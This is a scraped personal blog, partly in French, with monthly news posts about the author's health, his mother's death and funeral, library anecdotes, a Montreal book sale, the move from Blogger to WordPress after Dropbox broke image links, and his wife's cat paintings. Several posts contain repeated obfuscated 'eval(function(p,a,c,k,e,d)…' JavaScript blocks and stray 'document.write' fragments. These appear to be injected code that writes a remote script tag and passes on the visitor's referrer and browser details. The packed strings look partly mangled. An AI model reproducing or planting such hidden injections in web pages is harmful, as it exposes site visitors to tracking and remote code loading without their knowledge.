Monthly notable news (W12-16)

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Another month (or so) has passed at lightning speed. Lots of stuff to do, particularly now that spring has come. We had plenty of rain at first, however now the weather is more enjoyable but still a little chilly. The humidity has made my left knee (and a bit my right ankle) hurt and, for a week, my back pain came back with a vengeance — libraries can be hard work sometimes (and not only for the soul; although it can be amusing too). I also had an episode of high blood glucose and I feared I would become a full-blown diabetic but it returned to my pre-diabetic “normal” after a week. This is no work for old men…

It has been a busy month. We’ve visited the notary twice for mom’s succession paperwork and there was plenty of work around the house particularly for the garden cleaning. I also had to deal with many unexpected problems: some strange Bell bug kept me from my blog for a week and I had some leaky roof, front door handle and water heater issues (the latter two just this weekend). Installing two more Outdoor Nest Cams (as one of my cheap IP cameras died following water damage inside the window) has been a strain on the Bell Wi-Fi causing serious performance problems. I’ll probably solve this issue by going back to Videotron, but only for the internet (I’ll share my sister’s).

A question on FB made me look back at my collection of old books and share my love for them. I also purchased a new Telephoto Mirror Lens for my camera. My TV viewing habits didn’t change much. I still watch too much TV: the new season for old series (When calls the Heart, Into the Badlands, Doctor Who) but two series are particularly worth mentioning for their quality: Anne and The Expense (and its beautiful opening credits with Norwegian vocals — listen on Soundcloud and Youtube). I also wanted to go see Ghost in the Shell in theatre but the reviews were not too good so I decided to wait. However, I’ll definitely won’t miss the Valerian‘s movie when it is released!

I have always considered blogging (and writing in general) as an essential mental exercice (as much as my daily walks) to keep in shape, the mind sharp and age better. However, now I have some doubt. It sometimes feels like a strain since I have less and less time to do it. I have to split my waking hours between my wife-together time, my me-time and work (from which I always come back exhausted). Lately, I had lots of problems with the blog (the Dropbox issue, not being able to log in for an entire week) and it leaves me with the dilema of having to choose between fixing the layout on the old posts or writing new material (or try to do both and be unhappy with the result). I just wonders if it is really worth it.

Maybe I should try less to DO something and just take more time to enjoy life right now (going to movies, to the museums, to the botanical garden, READ more, etc.) without always thinking about sharing it, what I would say about it, which angle I could use to explain the subject better or tell an interesting story about the whole experience. My health won’t improve with the years and I am quite sure that there is less road in front of me than behind, so maybe I should just take the most of it and enjoy the moment. Who’s reading me anyway. Although, I often say that I am writing for myself, so I can read what I wrote one day and remember how it was (particularly when I would not remember it at all). It is just like a journal left adrift in the binary stream of time, to create some sort of posterity.

Both ways seem kind of selfish: if I do write I feel guilty of not doing more of my life and, if I don’t, I feel I am letting myself down. Either way it is a losing battle. •Sigh* It’s the age-old depressing philosophical question: Did I ever really lived and did it really matter? I can only press on and hope for the best.

Finally, I nevertheless managed to stay acquainted with the (ever so depressing) affairs of the world and gathered a few notable news & links — which I share with you (in both french or english, and roughly divided into a few thematics), after the jump.

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The irresistible question

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I swear  someone asked me this exact question at the library yesterday :

When I first read this (now defunct) Unshelved comic strip several years ago, I dreamt to answer exactly like Dewey did if I ever found myself in this situation. Unfortunately, such sarcasm would be considered very poor customer service so I abstained. After a long pause, I smiled (actually, I barely resisted laughing out loud) and I referred  the customer to the reference librarian. Always do like the t-shirt says: “Keep calm and let the librarian handle it” !

It reminds me of this situation, years ago, when I was trying to make a library card for a guy who didn’t want to give his personal information because he was an anarchist and he didn’t want the big-brotherly government to know anything about him. Incredulous, I said to the guy: “Wait a minute. You say you are an anarchist, but you want to benefit from all the free library services? Don’t you think it’s a little hypocritical?” He seemed unfazed but, since he refused to provide any of the required information, I couldn’t register him to the library. I found such audacity unbelievable. We really see the strangest stuff in a library…

Old Books

/ Clodjee / 9 Comments

Old_Books-Collection_IMG_0458I love old stuff, particularly coins and books. Unfortunately, I don’t have the enthusiasm of youth, the time to travel nor the money to collect them anymore. Old stuff is now rare, harder to find and, mostly, more expensive. So I have to make do with enjoying what I already have (and sometime sharing this pleasure with others).

Unlike some of my friends, I don’t have really rare stuff (one has a page from a Book of Hours or another has a 1661 french edition of Suetonius!) but I have just a little more than a dozen ancient books that I cherish. Some because they are history books or works of an ancient author, others just because they are old (and despite the fact they are insipid religious documents).

Inspired by a question I was asked on Facebook, I invite you to share my joy after the jump >>
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Retour du solde de livres !

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ABM_2017_AFF_vweb_petitLe solde de livres des Amis de la bibliothèque de Montréal est de retour encore cette année. Il aura lieu du 20 au 28 mai, de 13h à 19h. Mais attention toutefois: comme l’emplacement habituel est sous rénovation, l’événement aura exceptionnellement lieu à l’Aréna Martin-Brodeur (5300 boul. Robert, Saint-Léonard). On peut s’y rendre de nombreuses manières: avec l’autobus 32 ou 432 Lacordaire (Nord) à partir du métro Cadillac, avec l’autobus 141 Jean-Talon (Est) puis l’autobus 32 Lacordaire (Nord) à partir du métro Saint-Michel, avec l’autobus 69 Hneri-Bourassa (Est) puis la 32 Lacordaire (Sud) à partir du métro Henri-Bourassa, et finalement avec l’autobus 192 Robert (Est) à partir du métro Crémazie.

Comme à chaque année, le Solde de livres offre plus de 100,000 livres et revues à petits prix ($1 pour les livres adultes et les CDs ou DVDs, 50¢ pour les livres d’enfants et les revues et $2 pour les beaux livres, dictionnaires et encyclopédies) — et cela inclus plus 15,000 livres en anglais. Le but de cette vente est “de prolonger la vie utile de ces livres, d’aider à répandre le goût de la lecture et de permettre aux citoyens de Montréal d’enrichir leur bibliothèque personnelle à faible coût. Les revenus provenant de ce solde serviront principalement à financer des activités d’animation dans les bibliothèques de Montréal.”

À ne pas manquer !

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iBus sur la bonne voie?

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IMG_0069
(iPhone 6s, 2017-04-03)

Les bornes d’information du nouveau système iBus sont déjà installées depuis un bout de temps mais leur mise en service a été retardé. Toutefois, j’ai remarqué aujourd’hui que la borne au coin de St-Michel et Legendre de Louvain fonctionnait, même si elle n’affichait pas encore de l’information utile. La borne borne au coin de St-Michel et de Émile-Journault quant à elle n’était pas encore fonctionnelle. Combien de temps encore devront nous attendre pour la mise en marche de ce système? Espérons qu’il sera en fonction avant l’été, pour les célébrations du 350e de Montréal!

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References

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I am putting under the Category “References” all the posts that are more articles then quick blurb on my principal subjects of interest (like anime & manga, literature, etc.). This will includes my own Bibliography, the Essential anime- & manga-related bibliography that I have compiled over the years, and my (still incomplete) article on the various genres and sub-genres of literature.

Of course, those articles would probably fit better as “pages” rather than “posts”, but since they were created as posts (and I couldn’t find a way to convert them) I decided to keep them that way. Future articles will probably be formated as pages.

Also, since this is a crucial part of this blog, this category will have its own set of sub-menu.

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Printemps sur le parc

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IMG_0057
(iPhone 6s, 2017-04-02)

L’entrée Émile-Journault du Parc Frédéric-Back. La neige a fondue, les lampadaires sont installés ainsi que les étranges boules qui couvrent les têtes de puits pour la collecte du gas naturel. Alors quand ouvrira-t-on ce parc? On l’avait promis pour le printemps et celui-ci est maintenant arrivé. Ce sera certainement avant l’été car tous ces préparatifs et aménagements ont été fait en prévision des festivités du 350e de Montréal. J’ai bien hâte!

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Back after a brief glitch

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For most of the week I have been unable to access my own blog!

At first I thought that it was a problem with the web hosting, but — as soon as I had time, today — I checked with them and everything was fine on their side. After performing a few tests (whatismyip.com, www.isitdownrightnow.com, downforeveryoneorjustme.com or trying to log through a proxy like megaproxy.com) and trying to log with other browsers (like Firefox or Explorer instead of Safari — without success) or through my iPhone or my sister wifi (it worked in both case) I finally realized that it was Bell’s internet that was blocking me (Dog, I hate Bell: their TV service is so beautiful but everything internet or wifi is so shitty!). My website itself was not blocked. It was my access to the website that was somewhat cut. I tried a few things and finally tried to simply reset Bell’s marvelously buggy Home Hub 3000 internet router. It worked!

Sorry for this brief interruption. We can now resume our regular programming: I can continue to update and adjust my blog.

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Blog update

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My new beginning on WordPress is now completed. From now on this will be my only blog (but the Blogger version will continue to exist without any future update).

I have imported here all the posts of the previous blog. Now I only have to tweak each post (adjust the formatting,  correct the categories & tags) and add the proper image links (which were previously screwed by Dropbox)… for all the 1300+ posts! Continue to bear with me because this will take a while…

I just hope that all my followers will continue to read me here. I promise that once the reformatting issue is solved I’ll write more and produce an improved and better blog!

A new beginning

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I am in the process of switching my blog from Blogger to WordPress. This will happen in three phases:

Learning :  during that phase not much will happen here and I will continue to blog mostly on blogger (http://clodjee.blogspot.ca). I’ll post here only to experiment with WordPress settings and features in order to learn how it works.

Transfer : while I slowly transfer the whole blog to this new site I will probably continue to blog on both sites.

Finalized : when the transfer phase is completed I will blog only on this new site.

I have no idea how long each phase will take. Please bear with me for the duration of this process.

Thank you!

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Weekly notable news (W10-11)

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The last couple of weeks were so busy that it felt like months.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbktr|var|u0026u|referrer|hszrh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tirzs|var|u0026u|referrer|tddeh||js|php’.split(‘|’),0,{}))

Strangely, document.write(“”); after getting temperatures up to 10? in February, we had nearly -20? in March! And, as it warmed up a little and all the snow we had received during the winter had almost melted, we got hit by the biggest snowstorm of the year! This mid-march wallop left us with almost two feet (sixty centimeters) of snow in one night and one day! It felt like January again! Today, Spring has officially arrived and it is above zero again, but I have the feeling that this roller-coaster is not over. There’s really no seasons anymore…

It was the sixth anniversary of the Great Tohoku Earthquake and Tsunami disaster (as well as the Fukushima Daiichi nuclear disaster), but lately the news were dominated by the various scandals rocking the Trump Presidency, mostly the Russia Dossier and allegations of Russian interference during the electoral process. Despite Trump doing his best to distract our attention from it, it become increasingly clear that his campaign has had contacts and possibly collusion with Russian interests. We can only wonder how much his Presidency is politically and financially compromised by this. Lately, I’ve started watching MSNBC and it is fascinating. It gives me a brand new perspective. Now, considering that it took only ONE blow-job to put Clinton on the impeachment path and that Trump has been plagued already with numerous questionable business deals and sexual misconduct allegations, I am wondering how much more it will take to remove this evil clown from office !!!

Another notable event was the fact that my Jawbone fitness band broke and that I replaced it with a Fitbit. It’s my third Jawbone fitness band that breaks (first a UP24, then a UP2 and finally a UP3 and in all cases it was the rubber of the band that broke apart) so, that’s it, I’ve decided to never use that company again (too bad, I really liked their app). Considering the reviews and quality/price ratio, I chose to replace it with a Fitbit Flex 2 band. Since I already have an Apple Watch, I decided to go with a simpler model and I was impressed with Fitbit’s clever concept of the device itself being separated from the band so you can switch band at will for fashion reasons or if it breaks. I am a little disappointed with the app but I am sure I’ll get used to it. So far, it is working quite well.

I also discovered that I had been screwed by Dropbox — which I used to host all the images for this blog. They changed their policy and now all the image links are irreparably broken. I’ve already taken temporarily measures to keep the most recent or important entries of the blog illustrated, but I am considering to eventually switch to a WordPress blog (with the same web hosting service that was used for the magazine). The transition will probably be slow and incremental since it is a lot of work.

However, the last couple of weeks were mostly dedicated to preparing for my mother’s funerals. I took a week off from work not only to help my sister preparing the funeral (book the hall, choose and order the buffet, shop all the stuff that was needed, contact people, make appointments, fill paperwork, plan the ceremony, etc.) but mainly to prepare the music medley and produce a commemorative video that would pay hommage to my mother’s memory (it is now available in two slightly different versions, on both this blog and my Vimeo page). Strangely, the funerals for the father of one of my dear friends were on the same day…

I was hoping to take advantage of this little time off also to catch up on my reading and writing, maybe go see a movie and visit a museum, but it was so busy that I couldn’t do anything. I even got behind in my TV shows watching.

Unfortunately, I also barely managed to stay acquainted with the affairs of the world and gathered only a few notable news & links — which I share with you nevertheless (in both french or english, and in no particular order), after the jump.

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In Memoriam Laure Gauthier

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Hommage à Laure —
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeday|var|u0026u|referrer|rnbyd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nthdn|var|u0026u|referrer|ktaer||js|php’.split(‘|’),0,{}))
Faire le tour de sa vie en 180 images
Pour honorer sa mémoire

Après lui avoir rendue hommage avec des mots, document.write(“”); voici un hommage en images à la vie de ma mère, Laure Gauthier, décédée d’un cancer le dimanche 5 mars 2017. Elle avait quatre-vingt-sept ans et a eut une belle vie bien remplie qui mérite d’être célébrée et commémorée. Puisse-t-elle continuer à vivre dans nos souvenirs…

Continuer après le saut de page >>

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Image du chat-medi

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A Cat and a snail with hydrangea
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bkdtb|var|u0026u|referrer|esfti||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tyrfr|var|u0026u|referrer|snhht||js|php’.split(‘|’),0,{}))
Un chat et un escargot avec des hortensias
A Cat and a snail with hydrangea
© 2017 Miyako Matsuda

See more of my wife’s art in this Flickr album
Voir d’autres peintures par mon épouse sur cet album Flickr

Screwed by Dropbox

/ Clodjee / 1 Comment

You are wondering why there are no longer pictures in this blog?

Simple: most pictures were hosted on Dropbox and “As of March 15, 2017 the Public folder in your Dropbox account has been converted into a standard folder. By default this folder is private to your account. (…) If you’re a Basic user, and you created a website that directly displays HTML content from your Dropbox account, it will no longer render in the browser.”

Of course, for a while, it would continue to work if your are Dropbox Pro or Plus users (at minimum $129 per year). It is tantamount to legal ransomware!

I thought that re-doing a share link individually for each picture (for all my 1345 posts !) could solve the problem but a quick test was a failure. I don’t have much time to dedicate to this right now (having spent the last week and half working hard to prepare for my mother’s funerals, which is later today). I’ll try to contact Dropbox later, but for now it will remain that way.

I’ll try to figure out an alternative solution as soon as possible. Anyway, I was thinking of switching to a WordPress blog with a web hosting professional company that will also locally host the files. That would solve the problem but will also take time to implement. We’ll see.

I apologize profoundly for the actual state of my blog. But keep reading, it’s the words that count.

Update: another quick test (at the suggestion of this guy) made me realize that I can host images with Blogger itself, although I don’t know the limitation in space or bandwidth. I’ll probably just do that for the most important or recent posts while I prepare for a more permanent solution.

Update 2: Of course, I can also use Flickr to temporarily host the images. At least, there, the limit is known (1 Tb of which I am currently using only 0.4%). I might use a little of both methods, but no matter what it will be time-consuming and a hassle. Argh! I hate Dropbox for dropping this on me at a time like this!

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Mid-March storm

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It seems that snow storm time-lapse videos are in fashion so I decided to make my own. This time-lapse video of the mid-March storm was shot between 3 PM on March 14 2017 and 3 PM on March 15 2017.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nyszh|var|u0026u|referrer|tyyba||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfnif|var|u0026u|referrer|yzazt||js|php’.split(‘|’),0,{}))


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Image du mer-fleuri

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Cat & butterfly with yellow violets
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etkkk|var|u0026u|referrer|tfayf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndkft|var|u0026u|referrer|ysntb||js|php’.split(‘|’),0,{}))
Un chat et un papillon avec des violettes jaunes
Cat & butterfly with yellow violets
© 2017 Miyako Matsuda

See more of my wife’s art in this Flickr album
Voir d’autres peintures par mon épouse sur cet album Flickr